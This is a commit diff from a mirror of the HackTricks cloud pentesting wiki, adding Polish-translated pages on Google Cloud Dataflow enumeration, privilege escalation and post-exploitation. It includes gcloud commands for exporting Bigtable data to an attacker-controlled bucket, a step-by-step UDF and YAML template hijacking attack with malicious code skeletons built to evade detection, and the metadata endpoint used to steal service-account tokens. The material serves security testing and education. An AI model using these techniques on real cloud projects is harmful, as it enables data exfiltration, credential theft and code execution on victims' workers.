mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 19:11:44 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+53
@@ -0,0 +1,53 @@
|
||||
# GCP - Dataflow Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
Aby uzyskać więcej informacji o Dataflow sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataflow-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using Dataflow to exfiltrate data from other services
|
||||
|
||||
**Uprawnienia:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (over a SA with access to source and sink)
|
||||
|
||||
Mając uprawnienia do tworzenia zadań Dataflow, możesz użyć szablonów GCP Dataflow do eksportu danych z Bigtable, BigQuery, Pub/Sub i innych usług do kontrolowanych przez atakującego bucketów GCS. Jest to potężna technika post-exploitation, gdy uzyskasz dostęp do Dataflow — na przykład poprzez [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write).
|
||||
|
||||
> [!NOTE]
|
||||
> Potrzebujesz uprawnienia `iam.serviceAccounts.actAs` nad kontem serwisowym z wystarczającymi uprawnieniami do odczytu źródła i zapisu do miejsca docelowego. Domyślnie, jeśli nie zostanie określone, używane jest domyślne SA Compute Engine.
|
||||
|
||||
#### Bigtable to GCS
|
||||
|
||||
Zobacz [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" aby zobaczyć pełny wzorzec. Szablony: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Export Bigtable to attacker-controlled bucket</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<YOUR_BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<YOUR_BUCKET>/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
#### BigQuery do GCS
|
||||
|
||||
Szablony Dataflow umożliwiają eksport danych z BigQuery. Użyj odpowiedniego szablonu dla docelowego formatu (JSON, Avro itp.) i skieruj wyjście do swojego bucketu.
|
||||
|
||||
#### Pub/Sub i źródła strumieniowe
|
||||
|
||||
Potoki strumieniowe mogą czytać z Pub/Sub (lub innych źródeł) i zapisywać do GCS. Uruchom zadanie ze szablonem, który czyta z docelowej subskrypcji Pub/Sub i zapisuje do kontrolowanego przez ciebie bucketu.
|
||||
|
||||
## Źródła
|
||||
|
||||
- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates)
|
||||
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
|
||||
- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,173 @@
|
||||
# GCP - Dataflow Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataflow-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`
|
||||
|
||||
Dataflow nie weryfikuje integralności UDFs i job template YAMLs przechowywanych w GCS.
|
||||
Mając bucket write access, możesz nadpisać te pliki, aby wstrzyknąć kod, wykonać kod na workers, ukraść service account tokens lub zmienić przetwarzanie danych.
|
||||
Zarówno batch, jak i streaming pipeline jobs są podatne na ten atak. Aby przeprowadzić ten atak na pipeline, trzeba podmienić UDFs/templates przed uruchomieniem joba, w ciągu pierwszych kilku minut (zanim workers zostaną utworzeni) lub podczas działania joba, zanim nowe workers się uruchomią (z powodu autoscaling).
|
||||
|
||||
**Attack vectors:**
|
||||
- **UDF hijacking:** Python (`.py`) i JS (`.js`) UDFs referencowane przez pipelines i przechowywane w customer-managed buckets
|
||||
- **Job template hijacking:** Własne definicje pipeline w YAML przechowywane w customer-managed buckets
|
||||
|
||||
|
||||
> [!WARNING]
|
||||
> **Run-once-per-worker trick:** Dataflow UDFs i template callables są wywoływane **dla każdego wiersza/linijki**. Bez koordynacji exfiltration lub token theft byłyby wykonywane tysiące razy, powodując hałas, rate limiting i wykrycie. Użyj wzorca **file-based coordination**: sprawdź na początku, czy istnieje marker file (np. `/tmp/pwnd.txt`); jeśli istnieje, pomiń złośliwy kod; jeśli nie, uruchom payload i utwórz ten plik. Zapewnia to, że payload uruchomi się **raz na worker**, a nie dla każdej linijki.
|
||||
|
||||
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1. Enumerate Dataflow jobs and locate the template/UDF GCS paths:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wypisz jobs i użyj describe, aby uzyskać template path, staging location i UDF references</summary>
|
||||
```bash
|
||||
# List jobs (optionally filter by region)
|
||||
gcloud dataflow jobs list --region=<region>
|
||||
gcloud dataflow jobs list --project=<PROJECT_ID>
|
||||
|
||||
# Describe a job to get template GCS path, staging location, and any UDF/template references
|
||||
gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
|
||||
# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
|
||||
# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
|
||||
```
|
||||
</details>
|
||||
|
||||
2. Pobierz oryginalny plik UDF lub szablon zadania z GCS:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pobierz plik UDF lub szablon YAML z bucketu</summary>
|
||||
```bash
|
||||
# If job references a UDF at gs://bucket/path/to/udf.py
|
||||
gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py
|
||||
|
||||
# Or for a YAML job template
|
||||
gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
|
||||
```
|
||||
</details>
|
||||
|
||||
3. Edytuj plik lokalnie: wstrzyknij złośliwy payload (zob. Python UDF lub fragmenty YAML poniżej) i upewnij się, że używany jest run-once coordination pattern.
|
||||
|
||||
4. Prześlij ponownie, aby nadpisać oryginalny plik:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Nadpisz UDF lub szablon w bucket</summary>
|
||||
```bash
|
||||
gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py
|
||||
|
||||
# Or for YAML
|
||||
gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
|
||||
```
|
||||
</details>
|
||||
|
||||
5. Poczekaj na następne uruchomienie joba, lub (dla streaming) wywołaj autoscaling (np. zalej pipeline danymi), aby nowe workers się uruchomiły i pobrały zmodyfikowany plik.
|
||||
|
||||
#### Python UDF injection
|
||||
|
||||
Jeśli chcesz, aby worker exfiltrate data do serwera C2, użyj `urllib.request`, a nie `requests`.
|
||||
`requests` nie jest preinstalowany na classic Dataflow workers.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Malicious UDF with run-once coordination and metadata extraction</summary>
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
|
||||
def _malicious_func():
|
||||
# File-based coordination: run once per worker.
|
||||
coordination_file = "/tmp/pwnd.txt"
|
||||
if os.path.exists(coordination_file):
|
||||
return
|
||||
|
||||
# malicous code goes here
|
||||
with open(coordination_file, "w", encoding="utf-8") as f:
|
||||
f.write("done")
|
||||
|
||||
def transform(line):
|
||||
# Malicous code entry point - runs per line but coordination ensures once per worker
|
||||
try:
|
||||
_malicious_func()
|
||||
except Exception:
|
||||
pass
|
||||
# ... original UDF logic follows ...
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### Wstrzyknięcie YAML w szablonie Job
|
||||
|
||||
Wstrzyknij krok `MapToFields` z callable, który używa pliku koordynacyjnego. Dla pipeline'ów opartych na YAML, które obsługują `requests`, użyj go, jeśli szablon deklaruje `dependencies: [requests]`; w przeciwnym razie preferuj `urllib.request`.
|
||||
|
||||
Dodaj krok czyszczenia (`drop: [malicious_step]`), aby pipeline nadal zapisywał prawidłowe dane do miejsca docelowego.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Złośliwy krok MapToFields i czyszczenie w YAML potoku</summary>
|
||||
```yaml
|
||||
- name: MaliciousTransform
|
||||
type: MapToFields
|
||||
input: Transform
|
||||
config:
|
||||
language: python
|
||||
fields:
|
||||
malicious_step:
|
||||
callable: |
|
||||
def extract_and_return(row):
|
||||
import os
|
||||
import json
|
||||
from datetime import datetime
|
||||
coordination_file = "/tmp/pwnd.txt"
|
||||
if os.path.exists(coordination_file):
|
||||
return True
|
||||
try:
|
||||
import urllib.request
|
||||
# malicious code goes here
|
||||
with open(coordination_file, "w", encoding="utf-8") as f:
|
||||
f.write("done")
|
||||
except Exception:
|
||||
pass
|
||||
return True
|
||||
append: true
|
||||
- name: CleanupTransform
|
||||
type: MapToFields
|
||||
input: MaliciousTransform
|
||||
config:
|
||||
fields: {}
|
||||
append: true
|
||||
drop:
|
||||
- malicious_step
|
||||
```
|
||||
</details>
|
||||
|
||||
### Compute Engine access to Dataflow Workers
|
||||
|
||||
**Uprawnienia:** `compute.instances.osLogin` or `compute.instances.osAdminLogin` (with `iam.serviceAccounts.actAs` over the worker SA), or `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata` (with `iam.serviceAccounts.actAs`) for legacy SSH key injection
|
||||
|
||||
Dataflow workers run as Compute Engine VMs. Dostęp do workers via OS Login or SSH pozwala odczytać tokeny SA z endpointu metadata (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`), manipulować danymi lub uruchamiać dowolny kod.
|
||||
|
||||
Szczegóły eksploatacji, zobacz:
|
||||
- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`
|
||||
|
||||
## Referencje
|
||||
|
||||
- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
|
||||
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
|
||||
- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
|
||||
- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
|
||||
- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,81 @@
|
||||
# GCP - Dataflow Enumeracja
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Google Cloud Dataflow** to w pełni zarządzana usługa do **wsadowego i strumieniowego przetwarzania danych**. Umożliwia organizacjom tworzenie potoków, które transformują i analizują dane na dużą skalę, integrując się z Cloud Storage, BigQuery, Pub/Sub i Bigtable. Potoki Dataflow uruchamiają się na worker VM w Twoim projekcie; templates i User-Defined Functions (UDFs) są często przechowywane w GCS buckets. [Dowiedz się więcej](https://cloud.google.com/dataflow).
|
||||
|
||||
## Składniki
|
||||
|
||||
Typowy pipeline Dataflow obejmuje:
|
||||
|
||||
**Template:** definicje YAML lub JSON (oraz kod Python/Java dla flex templates) przechowywane w GCS, które definiują strukturę i kroki potoku.
|
||||
|
||||
**Launcher (Flex Templates):** Krótkotrwała instancja Compute Engine może być używana przy uruchamianiu Flex Templates do walidacji szablonu i przygotowania kontenerów przed uruchomieniem joba.
|
||||
|
||||
**Workers:** VM-y Compute Engine, które wykonują rzeczywiste zadania przetwarzania danych, pobierając UDFs i instrukcje z template'u.
|
||||
|
||||
**Staging/Temp buckets:** GCS buckets przechowujące tymczasowe dane potoku, artefakty joba, pliki UDF oraz metadane flex templates (`.json`).
|
||||
|
||||
## Zadania wsadowe vs strumieniowe
|
||||
|
||||
Dataflow obsługuje dwa tryby wykonania:
|
||||
|
||||
**Batch jobs:** Przetwarzają ustalony, ograniczony zbiór danych (np. plik logów, eksport tabeli). Job uruchamia się raz do zakończenia, a następnie kończy działanie. Workery są tworzone na czas trwania joba i zatrzymywane po zakończeniu. Batch jobs są zwykle używane do ETL, analiz historycznych lub zaplanowanych migracji danych.
|
||||
|
||||
**Streaming jobs:** Przetwarzają nieograniczone, ciągle napływające dane (np. wiadomości Pub/Sub, strumienie z czujników). Job działa aż do jego eksplicytnego zatrzymania. Workery mogą skalować się w górę i w dół; nowe workery mogą być uruchamiane przez autoscaling i będą pobierać komponenty potoku (templates, UDFs) z GCS przy starcie.
|
||||
|
||||
## Enumeracja
|
||||
|
||||
Zasoby związane z Dataflow, w tym joby, można enumerować w celu zebrania kont serwisowych, ścieżek do templates, staging buckets oraz lokalizacji UDF.
|
||||
|
||||
### Enumeracja zadań
|
||||
|
||||
Aby wyenumerować zadania Dataflow i pobrać ich szczegóły:
|
||||
```bash
|
||||
# List Dataflow jobs in the project
|
||||
gcloud dataflow jobs list
|
||||
# List Dataflow jobs (by region)
|
||||
gcloud dataflow jobs list --region=<region>
|
||||
|
||||
# Describe job (includes service account, template GCS path, staging location, parameters)
|
||||
gcloud dataflow jobs describe <job-id> --region=<region>
|
||||
```
|
||||
Opisy zadań ujawniają ścieżkę szablonu w GCS, staging location oraz worker service account — przydatne do zidentyfikowania buckets przechowujących komponenty pipeline.
|
||||
|
||||
### Enumeracja szablonów i buckets
|
||||
|
||||
Buckets wymienione w opisach zadań mogą zawierać flex templates, UDFs lub definicje pipeline w YAML:
|
||||
```bash
|
||||
# List objects in a bucket (look for .json flex templates, .py UDFs, .yaml pipeline defs)
|
||||
gcloud storage ls gs://<bucket>/
|
||||
|
||||
# List objects recursively
|
||||
gcloud storage ls gs://<bucket>/**
|
||||
```
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataflow-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-dataflow-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-dataflow-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencje
|
||||
|
||||
- [Dataflow overview](https://cloud.google.com/dataflow)
|
||||
- [Pipeline workflow execution in Dataflow](https://cloud.google.com/dataflow/docs/guides/pipeline-workflows)
|
||||
- [Troubleshoot templates](https://cloud.google.com/dataflow/docs/guides/troubleshoot-templates)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user